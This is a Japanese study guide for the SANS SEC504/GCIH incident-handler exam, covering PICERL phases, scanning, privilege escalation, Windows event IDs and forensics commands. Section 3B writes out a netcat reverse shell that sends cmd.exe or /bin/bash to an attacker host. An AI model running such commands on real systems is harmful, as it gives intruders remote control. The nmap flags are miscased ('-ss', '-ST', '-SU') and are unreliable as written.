

SANS SEC504 / GCIH 合格対策マスターガイド

GIAC Certified Incident Handler (GCIH) 試験攻略に向けた知識・技術ロードマップ (改訂版)

本書は、SANS SEC504 (Hacker Tools, Techniques, Exploits, and Incident Handling) の広範なカリキュラムを網羅し、受講者がGCIH (GIAC Certified Incident Handler) 試験に一発で合格するための核心的な重要事項を体系化した対策資料です。試験の2大要素である「知識 (インシデント対応プロセス・攻撃理論)」と「技術 (Cyber Live実技試験対策)」の双方において、合格点を確実にクリアするための重要エッセンスを解説します。

1. GCIH 試験の概要と「合格の3大原則」

GCIH試験は、インシデント対応の指揮・実施能力、および攻撃者が用いる具体的なツールや手法に対する深い理解度を測定するオープンブック (書籍・ノートの持ち込み可能) 形式の試験です。制限時間内に大量の難問に正答するためには、以下の原則を徹底する必要があります。

① 完璧な「Index (インデックス)」の作成

SANS試験攻略の鍵は、持ち込み書籍に対する索引表 (Index) の構築です。重要用語、コマンド、イベントID、ツール名、および対応する書籍の「巻・ページ数」を記載したExcelシートを作成し、アルファベット順に整理して印刷して持ち込みます。試験中に調べる時間は「1問につき30秒以内」を目標にしてください。

② Cyber Live (実技問題) の完全攻略

GCIHには実際の仮想環境を操作してフラグを獲得する「Cyber Live」問題が含まれます。配点比率が非常に高いため、実技での失点は致命傷になります。SEC504の全ハンズオンラボ (Workbook) を自力で、かつコマンドの意味を1つずつ解説できるレベルまで繰り返し実践することが必須です。

【試験対策のアドバイス】オープンブックに甘えない

「調べればわかる」という思考は時間切れを招きます。理論問題 (選択式) は全体の8割以上をインデックスに頼らず即答できる状態を目指し、残り2割の「細かい技術仕様やコマンドオプションの確認」にインデックスを活用するのが理想です。

2. インシデント対応プロセス (PICERLフェーズ) の徹底攻略

GCIH試験において最も頻出する理論体系が、SANS/GIACが提唱する**PICERL (ピカール)** フレームワークです。各インシデント対応フェーズにおける「目的」、「具現化されるアクション」、および「よくあるシチュエーション問題の判別基準」を以下の表にまとめます。

フェーズ	主な目的と実施アクション	試験における重要判別ポイント
1. Preparation (準備)	・ポリシーの策定、体制(IRT)の構築 ・各種ツールの準備と動作確認 ・パッチ管理やバックアップ体制の整備	インシデントが 発生する前 に行うすべての予防的、組織的な措置。トレーニング、ツールの事前インストールなどが該当。
2. Identification (特定)	・ログ分析（SIEM、ファイアウォール、IDS） ・被害範囲とインシデントの種類の特定 ・「通常ではない挙動（異常）」から真の脅威を判別	侵入検知、スコープの決定。ネットワークスキャン、怪しいプロセスの検出、被害を受けたマシンのIPアドレス特定など。
3. Containment (封じ込め)	・被害の拡大防止（ネットワークの物理/論理隔離） ・短期的な封じ込め（ポート遮断、アカウント無効化） ・システム停止またはバックアップからの代替稼働	「 これ以上の被害拡大を止める 」アクション。LANケーブルの抜線、FWルールでの通信遮断、プロセス強制終了、VMの一時停止。
4. Eradication (根絶)	・脅威の根本的な排除（マルウェアの削除、バックドア除去） ・脆弱性の修正、認証情報の変更 ・必要に応じたOSの再インストール	「原因をシステムから完全に消し去る」段階。マルウェア検知プログラムの実行、不正なレジストリ値や永続化タスクの完全削除。
5. Recovery (復旧)	・クリーンなバックアップからのシステムリストア ・業務サービスの段階的な再開 ・復旧後の継続的な監視（再発防止確認）	「 安全に通常業務（生産体制）へ戻す 」アクション。パッチ適用後のWebサービス再開、パスワードの全変更後の運用再開。
6. Lessons Learned (教訓)	・事後報告書（Post-Mortem Report）の作成 ・対応プロセスの評価、改善点の洗い出し ・ポリシーおよび事前防御体制のアップデート	インシデント終了後のミーティング、再発防止策の報告、セキュリティポリシーの改定。「 次回より迅速かつ正確に対応するため 」。

【間違いやすい罠】Containment（封じ込め）とEradication（根絶）の境界

「マルウェアの入ったPCのネットワーク通信を遮断した」は、被害拡大を防ぐため **Containment** です。「そのPCから手動でマルウェアのEXEファイルを削除し、レジストリの自動起動キーを消去した」は、システムから脅威を取り除くため **Eradication** に分類されます。この2つの定義の境界線をしっかりと区別してください。

3. 攻撃手法の技術理解と検知・解析（技術パート）

SEC504の核心は、攻撃者が用いるテクニックを理解し、それを防御側のログやアーティファクトから追跡することにあります。

A. 偵察・スキャン段階 (Reconnaissance & Scanning)

- **TCP SYNスキャン (-ss)**: ステルススキャン（ハーフオープンスキャン）。スリーウェイハンドシェイクを完了させずに RST を送るため、アプリケーション層のログに残りづらい。
- **TCP コネクトスキャン (-ST)**: ソケット接続を完全に確立する。非特権ユーザーでも実行可能だが、システムログに明瞭な接続履歴が残るため検知されやすい。
- **UDPスキャン (-SU)**: UDPポートの応答を確認。開いているポートからは無反応、閉じているポートからは ICMP Port Unreachable が返る性質を利用する。

B. 初期アクセスと足がかりの構築 (Exploitation & Shells)

攻撃者側（待ち受け/リスナー）：ポート4444でインバウンド通信を待機

```
nc -lvp 4444
```

被害者側（ターゲット）：攻撃者にコマンドプロンプトを転送して接続

```
nc 10.10.10.5 4444 -e cmd.exe # Windowsの場合  
nc 10.10.10.5 4444 -e /bin/bash # Linuxの場合
```

C. 特権昇格手法の内部メカニズム (Privilege Escalation)

- **Windows UACバイパス**: Auto-Elevate属性を持つ信頼されたバイナリやレジストリを利用して、確認ダイアログを出さずに高整合性（管理者権限）プロセスを立ち上げる手法。
- **DLL検索順序の乗っ取り (DLL Search Order Hijacking)**: アプリケーションと同じディレクトリ内のカスタムDLLを優先ロードさせる設計不備の悪用。
- **Potatoファミリー（Juicy/God Potato等）**: DCOM/NTLM反射攻撃を利用し、ローカルサービスアカウントから NT AUTHORITY\SYSTEM 権限へ昇格させるテクニック。

4. 永続化、クレデンシャル奪取、防御回避の検知

A. Windows セキュリティログ (Event Log) 監査マスターリスト

イベントID	ログ名 / ソース	イベント概要	インシデント分析上の意味
4624	Security	ログオン成功	ログオンタイプを確認 (Type 2: ローカル、Type 3: ネットワーク、Type 10: RDP)。
4625	Security	ログオン失敗	短期間での多量の記録は総当たり攻撃 (ブルートフォース) を示す。
4688	Security	プロセスの作成	実行された引数 (cmd.exe / c ... など) まで確認可能。
7045	System	新しいサービスの登録	永続化のために作成された不正なサービスを検出。
4698	Security	タスクスケジュール作成	タスクスケジューラを悪用した永続化 (Persistence) の検知。
1 (Sysmon)	Sysmon	プロセスの作成	親プロセス、プロセスハッシュ、シグネチャ情報などを提供。
3 (Sysmon)	Sysmon	ネットワーク接続検知	プロセスが外部とソケット通信した証拠。

5. Cyber Live（実技・ハンズオン）対策コマンド

A. ネットワーク解析（Tcpdump / Tshark）

PCAPファイルから、SYNフラグのみが立っているパケットを抽出する

```
tcpdump -r traffic.pcap "tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0"
```

B. メモリフォレンジック（Volatility 3）

プロセスツリーを表示し、不審な親子関係を暴く

```
vol -f memory.raw windows.pstree.PsTree
```

メモリ内のネットワーク接続を表示する

```
vol -f memory.raw windows.netscan.NetScan
```

メモリ内でコードインジェクションの痕跡を検出

```
vol -f memory.raw windows.malfind.Malfind
```

【合格直前チェックリスト】

1. インデックスから数秒以内に該当ページを開けるか？
2. PICERLの各フェーズのアクションを正確に識別できるか？
3. Windowsイベントログ（4624, 4688, 7045）を熟知しているか？
4. Volatility、Wiresharkを使用して攻撃の証拠を特定できるか？